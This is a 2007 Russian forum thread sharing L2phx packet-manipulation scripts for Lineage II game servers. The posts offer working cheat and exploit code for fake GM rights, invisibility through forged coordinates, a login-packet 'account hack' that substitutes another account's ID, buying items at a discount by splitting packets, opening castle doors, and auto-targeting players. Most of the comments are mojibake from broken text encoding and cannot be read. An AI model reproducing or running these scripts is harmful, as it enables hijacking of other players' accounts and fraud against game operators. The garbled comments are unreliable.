гном маг
Пакеты в Lineage II C5
Сообщений 31 страница 60 из 394
Поделиться3211-08-2007 05:52:17
Хех вот вам скрипты для L2phx *.*.*
Поделиться3311-08-2007 05:55:45
end.
{ íåêîòîðûå ÃÌ êîìàíäû:
///l2debugwindow - êîíñîëüêà
///l2debug - ïîêàçûâàåò ñîîáùåíèÿ â îòêðûòîé êîíñîëè
///geodata - íå ïðîáîâàë ïîêà... äëÿ ðàáîòû íåîáõîäèìî ñêîïèðîâàòü ïàïêó ãåîäàòà â ïàïêó ñóñòåì êëèåíòà
///buildzone map=[map_name] òàêàÿ æå õðåíü íî íà îäíó îáëàñòü
///showborderline - ïîêàçûâàåò ãðàíèöó îáàñòè
///showsectors - ðàçáèâàåò ìèð ïî ñåêòîðàì
///camerawalking mode=on|off - ïîçâîëÿåò äâèãàòü êàìåðó íà îãðàíè÷åííîå ðàññòîÿíèå áåç äâèæåíèÿ ïåðñà.
///c_rmode [1-7] - èçìåíÿåò âíåøíåå îòîáðàæåíèå ìèðà... î÷åíü æåñòîêî ) ïðèìèíåíèÿ ïîêà íå íàøåë )
///bighead size=[1-n] - óâåëè÷èâàåò ðàçìåð ãîëîâû. Âèäíî åññåñòíî òîëüêî òåáå )
///open [map name] - íå ïðîáîâàë
///get [class_name] [attrib_name]
///set [class_name] [attrib_name]
///editdefault class=[class_name]
///stat l2 - îáùàÿ èíôà îáî âñåì... ïîñòîÿííî ìåíÿåòñÿ. ïîëåçíà.
///stat fps - äà çäðàâñòâóåò àíðèë ))) ïîêàçûâàåò êàê âû äóìàåòå ÷òî? ))) êîíå÷íî æå êîëè÷åñòâî êàäðîâ â ñåêóíäó )
}
Поделиться3411-08-2007 05:56:48
Сам скрипт
//Set Builder
var
i:integer;
begin
if FromServer then if pck[1]=#$04 then begin
i:=22;
ReadS(i);
i:=i+328;
buf:=pck;
WriteD(1,i);
pck:=buf;
end;
end.
Поделиться3511-08-2007 05:59:51
Скрипт инвайза
//Invisible Mode
var
pck48:string;
hidden:boolean;
i,x,y:integer;
procedure Init;
begin
hidden:=false;
pck48:='';
randomize;
end;
procedure SendMsg(msg:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(2);
WriteS('hLaPEx');
WriteS(msg);
SendToClient;
end;
begin
if FromServer then exit;
case ord(pck[1]) of
$1B:case ord(pck[2]) of
$05:begin
SendMsg('invisible_mode: Off');
pck:=#$30;
hidden:=false;
end;
$06:begin
if pck48='' then exit;
SendMsg('invisible_mode: On');
hidden:=true;
pck:=pck48;
i:=2;
x:=ReadD(i);
y:=ReadD(i);
x:=x+1000+round(random*200)-100;
y:=y+1000+round(random*200)-100;
buf:=pck;
WriteD(x,2);
WriteD(y,6);
pck:=buf;
end;
end;
$48:pck48:=pck;
$30:if hidden then pck:='';
end;
end.
Поделиться3611-08-2007 06:01:28
Взлом АККа Работает на ПТС серверах
Поделиться3711-08-2007 06:02:34
const
account=18459;
procedure Init;
begin
end;
procedure Free;
begin
end;
begin
if FromServer then exit;
if pck[1]=#$08 then
begin
buf:=#$08;
WriteS('');
WriteD(account);
WriteD(0);
pck:=buf;
end;
end.
Поделиться3811-08-2007 06:04:39
Где > account=*****; местов базе данных
Поделиться3911-08-2007 06:05:40
Упс
const
account=18459;
procedure Init;
begin
end;
procedure Free;
begin
end;
begin
if FromServer then exit;
if pck[1]=#$08 then
begin
buf:=#$08;
WriteS('');
WriteD(account);
WriteD(0);
pck:=buf;
end;
end.
Поделиться4011-08-2007 06:09:26
Покупаем всё за пол цынЫЫ
=) непашет в ГМ шопах!!
var
ICount,SCount,Add,i:integer;
ListID,ItemID:integer;
first:boolean=true;
max:integer=999;
const
hello='<center><font color="FF0000">Âíèìàíèå!</font></center>'+
'<br><br>Ñêðèïò ïðèìåíèì òîëüêî ê ìàãàçèíàì, ãäå çà îäèí ðàç '+
'âîçìîæíî êóïèòü íåñêîëüêî ðàçëè÷íûõ ïðåäìåòîâ (Magic Shop è '+
'äðóãèå).<br><br>Óñòàíîâèòå â ñêðèïòå äåéñòâóþùèé íà ñåðâåðå '+
'ëèìèò íà ïîêóïêó (ïåðåìåííàÿ max)!<br>Çíà÷åíèå ïî óìîë÷àíèþ:'+
' <font color="LEVEL">999</font><br><br><br><br><center><font'+
' color="FF0000">[ hLaPEx ]</font></center>';
procedure SendMsg(msg:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(msg);
SendToClient;
end;
begin
if FromServer then exit;
if (pck[1]=#$03) and (first) then begin
first:=false;
buf:=#$0F;
WriteD(0);
WriteS('<html><head><body>'+hello+'</body></html>');
SendToClient;
end;
if pck[1]=#$1F then begin
i:=2;
ListID:=ReadD(i);
if ReadD(i)<>1 then begin
SendMsg('Èñïîëüçóéòå òîëüêî îäèí ñëîò!');
exit;
end;
ItemID:=ReadD(i);
ICount:=ReadD(i);
SCount:=(ICount div max);
Add:=ICount mod max;
if Add>0 then inc(SCount);
if SCount>200 then begin
SendMsg('Ìàêñèìóì '+IntToStr(200*max)+' øòóê!');
exit;
end;
buf:=#$1F;
WriteD(ListID);
WriteD(SCount);
for i:=1 to (ICount div max) do begin
WriteD(ItemID);
WriteD(max);
end;
if Add>0 then begin
WriteD(ItemID);
WriteD(Add);
end;
pck:=buf;
if SCount>1 then SendMsg('Ïàêåò ìîäèôèöèðîâàí ');
end;
end.
Поделиться4111-08-2007 06:10:53
РАДАР
// Óñòàíîâêà ñòðåëêè (ðàäàðà) íàä ÷àðîì ê öåëè, ïðè èñïîëüçîâàíèè òàðãåòà
// ×òîáû âêëþ÷èòü ñêðèïò èñïîëüçóéòå â èãðå ñîöèàëüíîå äåéñòâèå - Yes
// ×òîáû âûêëþ÷èòü ñêðèïò èñïîëüçóéòå â èãðå ñîöèàëüíîå äåéñòâèå - No
// Àâòîð: Furious
// Âåðñèÿ: 0.2
var
Attacker, SocialID, CorX, CorY, CorZ, Status: Integer;
procedure SendMsg(msg:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(msg);
SendToClient;
end;
procedure TargetRadar(CorX, CorY, CorZ: Integer);
begin
buf:=#$EB;
WriteD(0);
WriteD(1);
WriteD(CorX);
WriteD(CorY);
WriteD(CorZ);
SendToClient;
end;
procedure TargetRadarDrop;
begin
buf:=#$EB;
WriteD(1);
WriteD(1);
WriteD(0);
WriteD(0);
WriteD(0);
SendToClient;
end;
begin
if FromClient and (pck[1]=#$1B) then
begin
SocialID:=ReadD(2);
case ord(pck[2]) of
$06:begin
Status:=1;
SendMsg('Ðàäàð âêëþ÷åí');
end;
$05:begin
Status:=0;
TargetRadarDrop;
SendMsg('Ðàäàð âûêëþ÷åí');
end;
end;
end;
if Status=1 then
begin
if FromServer and (pck[1]=#$61) then
begin
CorX:=ReadD(6);
CorY:=ReadD(10);
CorZ:=ReadD(14);
TargetRadar(CorX, CorY, CorZ);
end;
end;
end.
Поделиться4211-08-2007 06:13:23
Рун титул
//************************************************************************
//îïèñàíèå îáúåêòîâ
//************************************************************************
var
m: TMemo; // ì ýòî îáúåêì ìåìî
frm: TForm; // frm ýòî îáúåêò ôîðìà
penel, penel1, penel2: TPanel; // penel ýòî îáúåêò ïàíåëü
etext, etext1, etext2, etext3: Tedit; // etext ýòî îáúåêò äëÿ ââîäà äàííûõ
button: Tbutton; // button ýòî îáúåêò êíîïêà
//////////////////////////////////////////////////////////////////////////
//************************************************************************
procedure Init;
//************************************************************************
begin
frm := TForm.Create(nil); //ñîçäàòü ôîðìó
frm.Caption := 'Áåãóùèé òèòóë by Vaska123'; //çàïîëíèòü çàãîëîâîê ôîðìû ýòî 'Chat'
frm.BorderStyle := bsSizeable; //òèï áîðäþðà ôîðìû
frm.Position := poScreenCenter; //ïîçèöèÿ ãäå ñîçäàñòñÿ ôîðìà ýòî ïî öåíòðó ýêðàíà
frm.Width:=288; //øèðèíà ôîðìû ýòî 288
frm.Height:=128; //âûñîòà ôîðìû ýòî 128
penel:=TPanel.Create(frm); //ñîçäàòü ïàíåëü â ôîðìå
penel.parent:=frm; //óêàçàòü ðîäèòåëÿ äëÿ ïàíåëè ýòî ôîðìà
penel.align:=alRight; //âûðàâíèâàíèå ïàíåëè â ôîðìå
penel.Width:=100;
penel1:=TPanel.Create(frm); //ñîçäàòü ïàíåëü â ôîðìå
penel1.parent:=frm; //óêàçàòü ðîäèòåëÿ äëÿ ïàíåëè ýòî ôîðìà
penel1.align:=alTop; //âûðàâíèâàíèå ïàíåëè â ôîðìå
penel1.height:=24; //âûñîòà ïàíåëè
penel2:=TPanel.Create(frm); //ñîçäàòü ïàíåëü â ôîðìå
penel2.parent:=frm; //óêàçàòü ðîäèòåëÿ äëÿ ïàíåëè ýòî ôîðìà
penel2.align:=alBottom; //âûðàâíèâàíèå ïàíåëè â ôîðìå
penel2.height:=24; //âûñîòà ïàíåëè
m:=TMemo.Create(frm); //ñîçäàòü ìåìî â ôîðìå
m.parent:=frm; //óêàçàòü ðîäèòåëÿ äëÿ ìåìî ýòî ôîðìà
m.align:=alClient; //âûðàâíèâàíèå ìåìî ýòî âñå ñâîáîäíîå ìåñòî
m.ReadOnly:=true; //òîëüêî ÷òåíèå äëÿ ìåìî
m.Hint:='Âíåøíèé âèä òèòóëà ïåðñîíàæà';
button:=tbutton.Create(penel); //ñîçäàòü êíîïêó íà ïàíåëè
button.parent:=penel; //óêàçàòü ðîäèòåëÿ äëÿ êíîïêè ýòî ïàíåëü
button.align:=alClient; //âûðàâíèâàíèå êíîïêè â ïàíåëè
button.caption:='Ïîñëàòü'; //íàäïèñü íà êíîïêå
button.onClick:=@SendMs; //èìÿ îáðàáîò÷èêà ñîáûòèÿ äëÿ íàæàòèÿ êíîïêè
button.Hint:='íàæìèòå ÷òîáû íà÷àòü îòïðàâêó ïàêåòîâ';
etext:=tedit.Create(penel1); //ñîçäàòü ïîëå äëÿ ðåäàêòèðîâàíèÿ íà ïàíåëè
etext.parent:=penel1; //óêàçàòü ðîäèòåëÿ äëÿ ïîëÿ ýòî ïàíåëü
etext.align:=alRight; //âûðàâíèâàíèå ïîëÿ íà ïàíåëè
etext.Width:=32; //øèðèíà ôîðìû ýòî 400
etext.Hint:='ââåäèòå êîëè÷åñòâî ïîâòîðîâ';
etext.text:='1';
etext1:=tedit.Create(penel1); //ñîçäàòü ïîëå äëÿ ðåäàêòèðîâàíèÿ íà ïàíåëè
etext1.parent:=penel1; //óêàçàòü ðîäèòåëÿ äëÿ ïîëÿ ýòî ïàíåëü
etext1.align:=alLeft; //âûðàâíèâàíèå ïîëÿ íà ïàíåëè
etext1.Width:=128; //øèðèíà ôîðìû ýòî 400
etext1.Hint:='ââåäèòå íèê ïåðñîíàæà';
etext2:=tedit.Create(penel1); //ñîçäàòü ïîëå äëÿ ðåäàêòèðîâàíèÿ íà ïàíåëè
etext2.parent:=penel1; //óêàçàòü ðîäèòåëÿ äëÿ ïîëÿ ýòî ïàíåëü
etext2.align:=alClient; //âûðàâíèâàíèå ïîëÿ íà ïàíåëè
etext2.Hint:='ââåäèòå çàäåðæêó â ìñ.';
etext2.ReadOnly:=true;
etext2.text:='100';
etext3:=tedit.Create(penel2); //ñîçäàòü ïîëå äëÿ ðåäàêòèðîâàíèÿ íà ïàíåëè
etext3.parent:=penel2; //óêàçàòü ðîäèòåëÿ äëÿ ïîëÿ ýòî ïàíåëü
etext3.align:=alClient;
etext3.Hint:='ââåäèòå òåêñò áåãóùåãî òèòóëà';
etext3.text:='Primer s titulom';
frm.Show; //îòîáðàçèòü ôîðìó
end;
//////////////////////////////////////////////////////////////////////////
//************************************************************************
// ïðîöåäóðà âûõîäà èç ñêðèïòà
//************************************************************************
procedure Free; //íàèìåíîâàíèå ïðîöåäóðû
begin //íà÷àëî òåëà ïðîöåäóðû
etext3.Free; //îñâîáîäèòü ïàìÿòü òåì ñàìûì çàêðûâ ïîëå äëÿ ââîäà
etext2.Free; //îñâîáîäèòü ïàìÿòü òåì ñàìûì çàêðûâ ïîëå äëÿ ââîäà
etext1.Free; //îñâîáîäèòü ïàìÿòü òåì ñàìûì çàêðûâ ïîëå äëÿ ââîäà
etext.Free; //îñâîáîäèòü ïàìÿòü òåì ñàìûì çàêðûâ ïîëå äëÿ ââîäà
button.Free; //îñâîáîäèòü ïàìÿòü òåì ñàìûì çàêðûâ êíîïêó
penel2.Free; //îñâîáîäèòü ïàìÿòü òåì ñàìûì çàêðûâ ïàíåëü
penel1.Free; //îñâîáîäèòü ïàìÿòü òåì ñàìûì çàêðûâ ïàíåëü
penel.Free; //îñâîáîäèòü ïàìÿòü òåì ñàìûì çàêðûâ ïàíåëü
m.Free; //îñâîáîäèòü ïàìÿòü òåì ñàìûì çàêðûâ ïîëå äëÿ âûâîäà
frm.Free; //îñâîáîäèòü ïàìÿòü òåì ñàìûì çàêðûâ ôîðìó
end; //êîíåö òåëà ïðîöåäóðû
//////////////////////////////////////////////////////////////////////////
//************************************************************************
//îáðàáîòêà íàæàòèÿ êíîïêè
//************************************************************************
procedure SendMs(Sender: TButton);
var i,ii,dd:integer;txt:string;
begin
button.caption:='break';
button.enabled:=false;
m.Lines.Clear;
for i:=1 to 1 do
begin
txt:=etext3.text;
txt:=' '+txt+chr(13);
dd:=pos(chr(13),txt);
for ii:=1 to dd-1 do
begin
buf:=#$55;
WriteS(etext1.text);
WriteS(Copy(txt,ii,15));
SendToServer;
m.Lines.Clear;
m.Lines.Add(Copy(txt,ii,15));
delay (300);
end;
end;
buf:=#$55;
WriteS(etext1.text);
WriteS('');
SendToServer;
m.Lines.Clear;
button.caption:='ïîñëàòü';
button.enabled:=True;
end;
//************************************************************************
// îñíîâíîé âûïîëíÿåìûé ñêðèïò
//************************************************************************
begin //íà÷àëî òåëà îñíîâíîãî âûïîëíÿåìîãî ñêðèïòà
end. //êîíåö òåëà îñíîâíîãî âûïîëíÿåìîãî ñêðèïòà
//////////////////////////////////////////////////////////////////////////
Поделиться4311-08-2007 06:14:30
Залазим в замки =)
// Îòêðûòèå/çàêðûòèå ëþáûõ äâåðåé, âîðîò è ò.ä. À òàêæå ïðîõîä â äàëüíåéùåì ÷åðåç îòêðòóþ äâåðü äàëüøå.
// Ðàáîòàåò íà âñåõ ñåðâåðàõ, íî ïðîéòè ÷åðåç îòêðûòóþ äâåðü ìîæíî íà ñåðâåðå, ãäå íåò ãåîäàòû (java).
// ×òîáû èñïîëüçîâàòü ñêðèïò, âûäåëèòå íóæíóþ âàì äâåðü ÷åðåç Shift + ëåâàÿ êíîïêà ìûøè
// Àâòîð: Furious
// Âåðñèÿ: 0.2
var
Bypass: String;
ObjectID, ActionID, Status: Integer;
const
HTML='<html><body><center><img src="L2UI_CH3.herotower_deco"'+
' width=256 height=32><font color="LEVEL">Ìåíþ óïðàâëåíèÿ âî'+
'ðîòàìè è äâåðÿìè</font><br><font color="LEVEL">Àâòîð: Furio'+
'us</font><img src="L2UI.SquareWhite" width=260 height=1><im'+
'g src="L2UI.SquareBlank" width=260 height=4><br1><td><butto'+
'n value="Îòêðûòü" action="bypass -h open" width=70 height=1'+
'5 back="sek.cbui94" fore="sek.cbui92"></td><br><td><button '+
'value="Çàêðûòü" action="bypass -h close" width=70 height=15'+
' back="sek.cbui94" fore="sek.cbui92"></td><br></tr><img src'+
'="L2UI.SquareWhite" width=260 height=1><img src="L2UI.Squar'+
'eBlank" width=260 height=4><br1></center></body></html>';
procedure ShowHTML;
begin
buf:=#$0F;
WriteD(5);
WriteS(HTML);
SendToClient;
end;
procedure DoorAction;
begin
buf:=#$4D;
WriteD(ObjectID);
WriteD(Status);
WriteD(0);
WriteD(1);
WriteD(0);
SendToClient;
end;
begin
if FromClient and (pck[1]=#$04) then
begin
ActionID:=ReadC(18);
if ActionID=1 then
begin
ObjectID:=ReadD(2);
ShowHTML;
end;
end;
if FromClient and (pck[1]=#$21) then
begin
Bypass:=ReadS(2);
case Bypass of
'open':Status:=0 and DoorAction;
'close':Status:=1 and DoorAction;
end;
end;
end.
Поделиться4411-08-2007 06:15:39
ЧАТ!
var
m: TMemo;
frm:TForm;
penel: TPanel;
etext: tedit;
button: tbutton;
i: Integer;
Message, Name: String;
procedure SendMs(Sender: TButton);
var
Msg, Nm: String;
dd: integer;
begin
if etext.text<>'' then begin
buf:=#$38;
case etext.text[1] of
'!': begin
Msg:=Copy(etext.text,2,1000);
dd:=1;
nm:='';
end;
'$': begin
Msg:=Copy(etext.text,2,1000);
dd:=9;
nm:='';
end;
'+': begin
Msg:=Copy(etext.text,2,1000);
dd:=8;
nm:='';
end;
'"': begin
dd:=pos(' ', etext.text);
Msg:=Copy(etext.text,dd+1,1000);
nm:=Copy(etext.text,2,dd-3);
dd:=2;
end;
'#': begin
Msg:=Copy(etext.text,2,1000);
dd:=3;
nm:='';
end;
'@': begin
Msg:=Copy(etext.text,2,1000);
dd:=4;
nm:='';
end;
else begin
Msg:=etext.text;
dd:=0;
nm:='';
end;
end;
WriteS(Msg);
WriteD(dd);
if nm<>'' then WriteS(Nm);
SendToServer;
end;
end;
procedure Init;
begin
frm := TForm.Create(nil);
frm.Caption := 'Chat';
frm.BorderStyle := bsSizeable;
frm.Position := poScreenCenter;
frm.Width:=400;
frm.Height:=600;
m:=TMemo.Create(frm);
m.parent:=frm;
m.align:=alClient;
m.ReadOnly:=true;
m.ScrollBars:=ssBoth;
penel:=TPanel.Create(frm);
penel.parent:=frm;
penel.align:=alBottom;
penel.height:=24;
button:=tbutton.Create(penel);
button.parent:=penel;
button.align:=alRight;
button.caption:='Ïîñëàòü';
button.onClick:=@SendMs;
etext:=tedit.Create(penel);
etext.parent:=penel;
etext.align:=alClient;
frm.Show;
end;
procedure Free;
begin
etext.Free;
button.Free;
penel.Free;
m.Free;
frm.Free;
end;
begin
if FromServer and (pck[1]=#$4a) then
begin
i:=10;
name:=ReadS(i);
message:=ReadS(i);
if name='' then name:='Îáüÿâëåíèå';
m.Lines.Add(Name+': '+message);
end;
end.
Поделиться4511-08-2007 06:19:19
Инфа сервера
// Ñêðèïò äëÿ âûâîäà èíôîðìàöèè îá èãðîêàõ íà ñåðâåðå
// â User Tab: íèê, ðàñà, ïîë, êëàññ.
// Àâòîð: Furious
// Âåðñèÿ: 0.3
var
m:TMemo;
frm:TForm;
RaceID, SexID, ClassID, i: Integer;
Message, Name, Sex, Race, Class: String;
procedure Init;
begin
//ShowTab;
frm := TForm.Create(nil);
frm.Caption := 'Char Info!';
frm.BorderStyle := bsSizeable;
frm.Position := poScreenCenter;
frm.Width:=400;
frm.Height:=600;
m:=TMemo.Create(frm);
m.parent:=frm;
m.align:=alClient;
m.ReadOnly:=true;
m.ScrollBars:=ssBoth;
frm.Show;
end;
procedure Free;
begin
m.Free;
frm.Free;
//HideTab;
end;
begin
if FromServer and (pck[1]=#$03) then
begin
i:=22;
Name:=ReadS(i);
RaceID:=ReadD(i);
SexID:=ReadD(i);
ClassID:=ReadD(i);
case RaceID of
0:race:='Ëþäè';
1:race:='Ñâåòëûå ýëüôû';
2:race:='Òåìíûå ýëüôû';
3:race:='Îðêè';
4:race:='Ãíîìû';
end;
case SexID of
0:sex:='Ìóæñêîé';
1:sex:='Æåíñêèé';
end;
case ClassID of
0:class:='H_Fighter';
1:class:='H_Warrior';
2:class:='H_Gladiator';
88:class:='H_Duelist';
3:class:='H_Warlord';
89:class:='H_Dreadnought';
4:class:='H_Knight';
5:class:='H_Paladin';
90:class:='H_PhoenixKnight';
6:class:='H_DarkAvenger';
91:class:='H_HellKnight';
7:class:='H_Rogue';
8:class:='H_TreasureHunter';
93:class:='H_Adventurer';
9:class:='H_Hawkeye';
92:class:='H_Sagittarius';
10:class:='H_Mage';
11:class:='H_Wizard';
12:class:='H_Sorceror';
94:class:='H_Archmage';
13:class:='H_Necromancer';
95:class:='H_Soultaker';
14:class:='H_Warlock';
96:class:='H_ArcanaLord';
15:class:='H_Cleric';
16:class:='H_Bishop';
97:class:='H_Cardinal';
17:class:='H_Prophet';
98:class:='H_Hierophant';
18:class:='E_Fighter';
19:class:='E_Knight';
20:class:='E_TempleKnight';
99:class:='E_EvaTemplar';
21:class:='E_SwordSinger';
22:class:='E_Scout';
23:class:='E_PlainsWalker';
101:class:='E_WindRider';
24:class:='E_SilverRanger';
102:class:='E_MoonlightSentinel';
25:class:='E_Mage';
26:class:='E_Wizard';
27:class:='E_SpellSinger';
103:class:='E_MysticMuse';
28:class:='E_ElementalSummoner';
104:class:='E_ElementalMaster';
29:class:='E_Oracle';
30:class:='E_Elder';
105:class:='E_EvaSaint';
31:class:='DE_Fighter';
32:class:='DE_PaulusKnight';
33:class:='DE_ShillienKnight';
106:class:='DE_ShillienTemplar';
34:class:='DE_BladeDancer';
107:class:='DE_SpectralDancer';
35:class:='DE_Assassin';
36:class:='DE_AbyssWalker';
108:class:='DE_GhostHunter';
37:class:='DE_PhantomRanger';
109:class:='DE_GhostSentinel';
38:class:='DE_Mage';
39:class:='DE_DarkWizard';
40:class:='DE_Spellhowler';
110:class:='DE_StormScreamer';
41:class:='DE_PhantomSummoner';
111:class:='DE_SpectralMaster';
42:class:='DE_ShillienOracle';
43:class:='DE_ShillienElder';
112:class:='DE_ShillienSaint';
44:class:='O_Fighter';
45:class:='O_Raider';
46:class:='O_Destroyer';
113:class:='O_Titan';
47:class:='O_Monk';
48:class:='O_Tyrant';
114:class:='O_GrandKhauatari';
49:class:='O_Mage';
50:class:='O_Shaman';
51:class:='O_Overlord';
115:class:='O_Dominator';
52:class:='O_Warcryer';
116:class:='O_Doomcryer';
53:class:='D_Fighter';
54:class:='D_Scavenger';
55:class:='D_BountyHunter';
117:class:='D_FortuneSeeker';
56:class:='D_Artisan';
57:class:='D_Warsmith';
118:class:='D_Maestro';
end;
Message:='Ðàñà: '+race+', Ïîë: '+sex+', Êëàññ: '+class+'.';
m.Lines.Add(Name+': '+Message);
end;
end.
Поделиться4611-08-2007 06:20:40
ЧАсть прав ГМа
//Set Builder
var
i:integer;
begin
if FromServer then if pck[1]=#$04 then begin
i:=22;
ReadS(i);
i:=i+328;
buf:=pck;
WriteD(1,i);
pck:=buf;
end;
end.
{ íåêîòîðûå ÃÌ êîìàíäû:
///l2debugwindow - êîíñîëüêà
///l2debug - ïîêàçûâàåò ñîîáùåíèÿ â îòêðûòîé êîíñîëè
///geodata - íå ïðîáîâàë ïîêà... äëÿ ðàáîòû íåîáõîäèìî ñêîïèðîâàòü ïàïêó ãåîäàòà â ïàïêó ñóñòåì êëèåíòà
///buildzone map=[map_name] òàêàÿ æå õðåíü íî íà îäíó îáëàñòü
///showborderline - ïîêàçûâàåò ãðàíèöó îáàñòè
///showsectors - ðàçáèâàåò ìèð ïî ñåêòîðàì
///camerawalking mode=on|off - ïîçâîëÿåò äâèãàòü êàìåðó íà îãðàíè÷åííîå ðàññòîÿíèå áåç äâèæåíèÿ ïåðñà.
///c_rmode [1-7] - èçìåíÿåò âíåøíåå îòîáðàæåíèå ìèðà... î÷åíü æåñòîêî ) ïðèìèíåíèÿ ïîêà íå íàøåë )
///bighead size=[1-n] - óâåëè÷èâàåò ðàçìåð ãîëîâû. Âèäíî åññåñòíî òîëüêî òåáå )
///open [map name] - íå ïðîáîâàë
///get [class_name] [attrib_name]
///set [class_name] [attrib_name]
///editdefault class=[class_name]
///stat l2 - îáùàÿ èíôà îáî âñåì... ïîñòîÿííî ìåíÿåòñÿ. ïîëåçíà.
///stat fps - äà çäðàâñòâóåò àíðèë ))) ïîêàçûâàåò êàê âû äóìàåòå ÷òî? ))) êîíå÷íî æå êîëè÷åñòâî êàäðîâ â ñåêóíäó )
}
Поделиться4711-08-2007 06:24:42
Авто таргкт ПК
// Àâòîìàòè÷åñêèé ïîèñê PK ïîáëèçîñòè. Åñëè PK èãðîê íàõîäèòñÿ ðÿäîì ñ âàìè, òî ìîæíî:
// Àâòîìàòè÷åñêè âçÿòü åãî â öåëü è/èëè âûâåñòè ñîîáùåíèå â ÷àò
// Êîìàíäû äëÿ óïðàâëåíèÿ ñêðèïòîì (âñå îíè ââîäÿòñÿ â ÷àò):
// Âêëþ÷èòü àâòîìàòè÷åñêîå âçÿòèå PK â öåëü - %pk_target 1
// Âûêëþ÷èòü àâòîìàòè÷åñêîå âçÿòèå PK â öåëü - %pk_target 0
// Âêëþ÷èòü óâåäîìëåíèå â ÷àò ïðè îáíàðóæåíèè ïîáëèçîñòè PK - %pk_msg 1
// Âûêëþ÷èòü óâåäîìëåíèå â ÷àò ïðè îáíàðóæåíèè ïîáëèçîñòè PK - %pk_msg 0
// Àâòîð: Furious
// Âåðñèÿ: 0.1
var
ObjectID, Karma, Target, Message, i: Integer;
Name, Cvar: String;
procedure SendMsg(Msg:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(Msg);
SendToClient;
end;
procedure TargetPK(ObjectID: Integer);
begin
buf:=#$04;
WriteD(ObjectID);
SendToServer;
end;
begin
if FromServer and (pck[1]=#$03) then
begin
i:=18;
ObjectID:=ReadD(i);
Name:=ReadS(i);
Karma:=ReadD(i+60);
if (Karma>0) then
begin
if Message=1 then SendMsg('PK ñ íèêîì '+Name+' íàõîäèòñÿ ïîáëèçîñòè!');
if Target=1 then TargetPK(ObjectID);
end;
end;
if FromClient and (pck[1]=#$38) then
begin
Cvar:=ReadS(2);
case Cvar of
'pk_target 1':
begin
Target:=1;
SendMsg('Àâòîìàòè÷åñêîå âçÿòèå PK â öåëü âêëþ÷åíî!');
end;
'pk_target 0':
begin
Target:=0;
SendMsg('Àâòîìàòè÷åñêîå âçÿòèå PK â öåëü âûêëþ÷åíî!');
end;
'pk_msg 1':
begin
Message:=1;
SendMsg('Âûâîä ñîîáùåíèÿ â ÷àò ïðè îáíàðóæåíèè PK âêëþ÷åíî!');
end;
'pk_msg 0':
begin
Message:=0;
SendMsg('Âûâîä ñîîáùåíèÿ â ÷àò ïðè îáíàðóæåíèè PK âûêëþ÷åíî!');
end;
end;
end;
end.
Поделиться4811-08-2007 06:28:08
Авто таргет
// Àâòîìàòè÷åñêîå âçÿòèå â òàðãåò àòàêóþùåãî âàñ èãðîêà èëè ìîáà
// ×òîáû âêëþ÷èòü ñêðèïò èñïîëüçóéòå â èãðå ñîöèàëüíîå äåéñòâèå - Yes
// ×òîáû âûêëþ÷èòü ñêðèïò èñïîëüçóéòå â èãðå ñîöèàëüíîå äåéñòâèå - No
// Àâòîð: Furious
// Âåðñèÿ: 0.4
var
Attacker, CharID, ObjectID, SocialID, Status: Integer;
procedure TargetAttacker(Attacker: Integer);
begin
buf:=#$04;
WriteD(Attacker);
SendToServer;
end;
begin
if FromServer and (pck[1]=#$04) then
CharID:=ReadD(18);
if FromClient and (pck[1]=#$1B) then
begin
SocialID:=ReadD(2);
case SocialID of
6:Status:=1;
5:Status:=0;
end;
end;
if Status=1 then
begin
if FromServer and ((pck[1]=#$48) or (pck[1]=#$05)) then
begin
Attacker:=ReadD(2);
ObjectID:=ReadD(6);
end;
if (Attacker<>ObjectID) and (CharID=ObjectID) then TargetAttacker(Attacker);
end;
end.
Поделиться5011-08-2007 06:30:33
Подробности ТУТ >
Поделиться5111-08-2007 06:36:42
Скачать програму L2phx...
Поделиться5211-08-2007 21:05:06
ппц дайте пакет на ГМ хаст
Поделиться5311-08-2007 21:06:37
очень надо ппц
Поделиться5411-08-2007 21:28:50
пппааакеееетттт плзззз
Поделиться5611-08-2007 21:31:22
блин вам чё сложно чтоли?
Поделиться5711-08-2007 21:32:43
хммм....
Поделиться5811-08-2007 21:33:52
ппппппппппццц
Поделиться5911-08-2007 21:34:53
хех плин
Поделиться6011-08-2007 21:36:07
пппппц
